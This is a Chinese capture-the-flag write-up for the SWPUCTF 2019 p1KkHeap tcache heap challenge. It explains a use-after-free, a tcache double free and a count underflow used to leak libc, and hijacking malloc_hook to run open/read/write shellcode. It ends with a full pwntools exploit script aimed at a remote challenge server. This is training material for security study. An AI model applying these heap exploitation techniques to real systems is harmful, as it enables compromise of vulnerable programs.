【pwn】SWPUCTF_2019_p1KkHeap

libc-2.27.so下的一道tcache堆題。
例行檢查
在這裏插入圖片描述
保護全開。
分析程序,在進入菜單之前,有一個函數跟入查看。
在這裏插入圖片描述
注意到這邊用mmap函數在0x66660000映射了一塊大小爲0x1000的內存空間,權限是rwx。然後用prctl函數做了一個沙箱。我們查看以下禁用了什麼調用。
在這裏插入圖片描述
可見execve被禁用,於是system函數和onegadget都不可行。於是就只能自己將shellcode(orw)寫到0x66660000這個內存空間上,然後再想辦法劫持到這邊運行。
接下來分析菜單,漏洞存在於free後,有個uaf。
利用方法
1.泄露Libc地址
由於tcache也是一個鏈棧,且不檢查double free利用起來更方便了,我們想要劫持malloc_hook就要泄露libc地址,一般可以使用unsortbin attack。但是這個題只讓free三次,想要將tcache填滿,然後free進unsortbin是不可能的。但是tcache->count是一個無符號類型的數據,我們在double free後tcache成環,那麼就可以一直malloc這一塊地方內存,使tcache->count變爲負數(實際上是很大的正數)。這樣再free時就不會進入tcache中,而是進入unsort bin中,這樣可以得到libc地址。
2.malloc任意地址
由於tcache不check大小,所以可以通過修改tcache_entry就可以malloc任意地址。那麼就可以分配到malloc_hook以及0x66660000。
3.向0x66660000寫shellcode
由於execve被禁,所以通過orw來讀取flag。
4.將malloc_hook覆蓋爲0x66660000
在下一次malloc時,跳轉到0x66660000執行shellcode。

from pwn import *
context.arch='amd64'

def add(size):
    io.recvuntil('Choice:')
    io.sendline('1')
    io.recvuntil('size:')
    io.sendline(str(size))

def show(idx):
    io.recvuntil('Choice:')
    io.sendline('2')
    io.recvuntil('id:')
    io.sendline(str(idx))    

def free(idx):
    io.recvuntil('Choice:')
    io.sendline('4')
    io.recvuntil('id:')
    io.sendline(str(idx))

def edit(idx,data):
    io.recvuntil('Choice:')
    io.sendline('3')
    io.recvuntil('id:')
    io.sendline(str(idx))
    io.recvuntil('content:')
    io.send(data)

io=remote('node3.buuoj.cn',25705)

add(0x100)#0
add(0x100)#1
#tcache_dup
free(1)
free(1)
#1_chunk get tcache_entry
show(1)
io.recvuntil('content: ')
first_chunk=u64(io.recv(6).ljust(8,'\x00'))
tcache_entry=first_chunk-0x198-0x110
print(hex(tcache_entry))
#edit fd -> tache_entry
add(0x100)#2
edit(2,p64(tcache_entry))
add(0x100)#3 
add(0x100)#4 get tcache_entry
rwx_add=0x66660000
edit(4,p64(rwx_add))#edit tcache_entry
add(0x100) #5 get rwx memory
#write shellcode
shellcode=shellcraft.amd64.open('flag')
shellcode+=shellcraft.amd64.read(3,0x66660300,64)
shellcode+=shellcraft.amd64.write(1,0x66660300,64)
edit(5,asm(shellcode))
#tcache_count is -1(0xff) now
#unsortbin attack
free(0)
show(0)
io.recvuntil('content: ')
libc_base=u64(io.recv(6).ljust(8,'\x00'))-0x3ebca0
print(hex(libc_base))
#malloc_hijack
malloc_hook=libc_base+0x3ebc30
edit(4,p64(malloc_hook))#edit tcache_entry
add(0x100) #6 get malloc_hook
edit(6,p64(rwx_add))
#getflag
add(0x100)
io.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章